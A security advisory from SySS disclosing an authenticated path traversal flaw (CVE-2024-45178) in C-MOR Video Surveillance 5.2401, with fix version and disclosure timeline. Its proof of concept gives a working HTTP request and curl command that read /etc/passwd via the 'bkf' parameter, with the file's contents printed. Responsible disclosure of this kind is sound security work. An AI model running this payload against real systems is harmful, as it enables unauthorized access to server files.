C-MOR Video Surveillance 5.2401 Path Traversal

Advisory ID: SYSS-2024-025
Product: C-MOR Video Surveillance
Manufacturer: za-internet GmbH
Affected Version(s): 5.2401
Tested Version(s): 5.2401
Vulnerability Type: Relative Path Traversal (CWE-23)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2024-04-05
Solution Date: 2024-07-31
Public Disclosure: 2024-09-04
CVE Reference: CVE-2024-45178
Authors of Advisory: Chris Beiter, Frederik Beimgraben,
and Matthias Deeg

Overview:

The software product C-MOR is an IP video surveillance system.

The manufacturer describes the product as follows:

"With C-MOR video surveillance, it is possible to check your  
surveillance over network and the Internet. You can access the live  
view as well as previous recordings from any PC or mobile device.  
C-MOR is managed and controlled over the C-MOR web interface.  
IP settings, camera recording setup, user rights and so on are set  
over the web without the installation of any software on the  
client."[1]

Due to improper user input validation, it is possible to download  
arbitrary files from the C-MOR system via a path traversal attack.

Vulnerability Details:

By analyzing the C-MOR web interface, it was found that different
functionalities are vulnerable to path traversal attacks, which is
due to insufficient user input validation.

For instance, the download functionality for backups provided by the
script “download-bkf.pml” is vulnerable to a path traversal
attack via the parameter "bkf".

This enables an authenticated user to download arbitrary files as
Linux user “www-data” from the C-MOR system.

Another path traversal attack is in the script "show-movies.pml",
which can be exploited via the parameter "cam".

Proof of Concept (PoC):

Using the following HTTP POST request with the relative path  
"../../../../etc/passwd" as value for the parameter "bkf", it is  
possible to download the file "/etc/passwd":

POST /download-bkf.pml HTTP/1.1  
Host: <HOST>  
Authorization: Basic <CREDENTIALS>  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 26

bkf=../../../../etc/passwd

An example of a successful path traversal attack is demonstrated via  
the following curl command:

$ curl -X POST -d 'bkf=../../../../etc/passwd' --user   
'<USERNAME>:<PASSWORD>' --ciphers 'DEFAULT:!DH'   
https://<HOST>/download-bkf.pml  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
Debian-exim:x:101:103::/var/spool/exim4:/bin/false  
statd:x:102:65534::/var/lib/nfs:/bin/false  
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin  
cam:x:1000:1000:Cam,,,:/home/cam:/bin/bash  
postfix:x:104:107::/var/spool/postfix:/bin/false  
stunnel4:x:105:109::/var/run/stunnel4:/bin/false  
mysql:x:106:110:MySQL Server,,,:/var/lib/mysql:/bin/false  
messagebus:x:107:113::/var/run/dbus:/bin/false  
ntp:x:108:114::/home/ntp:/bin/false  
download:x:1002:1002:Download User:/home/download:/bin/bash

Solution:

Install C-MOR Video Surveillance version 6.00PL1.

Disclosure Timeline:

2024-04-05: Vulnerability reported to manufacturer  
2024-04-05: Manufacturer acknowledges receipt of security advisories  
2024-04-08: Exchange regarding security updates and disclosure timeline  
2024-05-08: Further exchange concerning security updates and disclosure  
             timeline; public release of all security advisories  
             scheduled for release of C-MOR Video Surveillance version 6  
2024-05-10: Release of C-MOR software version 5.30 with security updates  
             for some reported security issues  
2024-07-19: E-mail to manufacturer concerning release date of C-MOR  
             Video Surveillance version 6; response with planned  
             release date of 2024-08-01  
2024-07-30: E-mail from manufacturer with further information  
             concerning security fixes  
2024-07-31: Release of C-MOR software version 6.00PL1  
2024-09-04: Public release of security advisory

References:

[1] Product website for C-MOR Video Surveillance
https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-025

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-025.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy/

Credits:

This security vulnerability was found by Chris Beiter, Frederik  
Beimgraben, and Matthias Deeg.

Disclaimer:

The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en